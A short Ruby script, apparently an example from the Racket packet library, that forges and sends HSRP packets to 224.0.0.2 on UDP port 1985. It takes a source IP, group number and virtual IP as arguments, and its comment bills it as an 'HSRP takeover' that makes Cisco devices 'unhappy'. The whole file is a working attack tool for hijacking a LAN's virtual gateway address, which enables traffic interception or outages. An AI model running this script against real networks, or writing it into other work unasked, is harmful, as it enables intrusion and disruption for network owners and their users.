#!/usr/bin/env ruby
#
# $Id: hsrp 174 2010-08-21 22:26:52Z jhart $
#
#
# Make all of your Cisco devices unhappy by hurling HSRP packets
# at them.  Hot, Hot HSRP takeover.
require 'rubygems'
require 'racket'
include Racket
unless (ARGV.size == 3)
  puts "Usage: #{$0} <srcip> <group> <vip>"
  exit
end
n = Racket::Racket.new
n.iface = "eth0"
n.l2 = L2::Ethernet.new(Misc.randstring(14))
n.l2.ethertype = 0x0800
n.l2.dst_mac = "01:00:5e:00:00:02"
n.l3 = L3::IPv4.new
n.l3.protocol = 17
n.l3.dst_ip = "224.0.0.2"
n.l3.src_ip = ARGV[0]
n.l4 = L4::UDP.new
n.l4.src_port = 1985
n.l4.dst_port = 1985
n.l5 = L5::HSRP.new
n.l5.vip = ARGV[2]
n.l5.group = ARGV[1].to_i
n.l4.payload = n.l5
n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
n.l4.payload = ""
n.sendpacket
puts n.pretty